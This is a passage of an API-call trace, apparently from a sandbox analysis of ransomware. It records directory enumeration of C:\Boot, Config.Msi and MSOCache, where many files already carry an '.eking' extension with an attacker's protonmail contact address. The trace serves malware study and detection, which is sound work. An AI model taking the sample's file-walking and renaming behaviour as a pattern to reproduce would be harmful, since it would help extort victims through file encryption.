cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.695] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.695] GetProcessHeap () returned 0x550000 [0194.695] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.695] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0194.695] GetProcessHeap () returned 0x550000 [0194.695] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.696] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.696] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.696] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.696] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.696] GetProcessHeap () returned 0x550000 [0194.696] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.696] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0194.696] GetProcessHeap () returned 0x550000 [0194.696] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.696] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.696] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.696] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.696] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.697] GetProcessHeap () returned 0x550000 [0194.697] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.697] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0194.697] GetProcessHeap () returned 0x550000 [0194.697] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0194.890] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.890] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.890] SetEvent (hEvent=0x134) returned 1 [0194.890] ResetEvent (hEvent=0x138) returned 1 [0194.892] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.892] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0194.892] GetProcessHeap () returned 0x550000 [0194.892] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.892] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0194.892] FindClose (in: hFindFile=0x572470 | out: hFindFile=0x572470) returned 1 [0194.893] GetProcessHeap () returned 0x550000 [0194.893] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a4370 | out: hHeap=0x550000) returned 1 [0194.894] FindNextFileW (in: hFindFile=0x572430, lpFindFileData=0x275f7f8 | out: lpFindFileData=0x275f7f8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0194.894] SetEvent (hEvent=0x134) returned 1 [0194.894] ResetEvent (hEvent=0x138) returned 1 [0194.896] FindNextFileW (in: hFindFile=0x572430, lpFindFileData=0x275f7f8 | out: lpFindFileData=0x275f7f8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x79274e0, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x79274e0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x80e3c60, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x2102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="BOOTSE~1.EKI")) returned 1 [0194.896] FindNextFileW (in: hFindFile=0x572430, lpFindFileData=0x275f7f8 | out: lpFindFileData=0x275f7f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0194.896] GetProcessHeap () returned 0x550000 [0194.896] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a4370 [0194.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0194.897] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.897] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0194.897] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0194.897] GetProcessHeap () returned 0x550000 [0194.897] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a4370 | out: hHeap=0x550000) returned 1 [0194.897] FindNextFileW (in: hFindFile=0x572430, lpFindFileData=0x275f7f8 | out: lpFindFileData=0x275f7f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0194.897] FindNextFileW (in: hFindFile=0x572430, lpFindFileData=0x275f7f8 | out: lpFindFileData=0x275f7f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xda0cbec0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0194.897] SetEvent (hEvent=0x134) returned 1 [0194.897] ResetEvent (hEvent=0x138) returned 1 [0194.898] FindNextFileW (in: hFindFile=0x572430, lpFindFileData=0x275f7f8 | out: lpFindFileData=0x275f7f8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0194.898] GetProcessHeap () returned 0x550000 [0194.898] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a4370 [0194.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0194.898] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.898] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0194.898] GetProcessHeap () returned 0x550000 [0194.898] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0194.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639648 [0194.899] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.899] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9aecd00, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9aecd00, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0194.899] GetProcessHeap () returned 0x550000 [0194.899] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9aecd00, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9aecd00, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0194.901] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9aecd00, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9aecd00, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.901] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x983f440, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x10efdbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="EXCELL~1.EKI")) returned 1 [0194.901] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x95dde40, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x323f12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="EXCELM~1.EKI")) returned 1 [0194.901] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9ac6ba0, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x9ac6ba0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9ac6ba0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x712, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="EXCELM~2.EKI")) returned 1 [0194.901] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9aecd00, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x9aecd00, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9b38fc0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 1 [0194.901] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9aecd00, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x9aecd00, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9b38fc0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 0 [0194.901] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0194.902] GetProcessHeap () returned 0x550000 [0194.902] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0194.902] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbac3340, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xbac3340, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0194.902] GetProcessHeap () returned 0x550000 [0194.902] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbac3340, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xbac3340, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0194.903] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbac3340, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xbac3340, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, 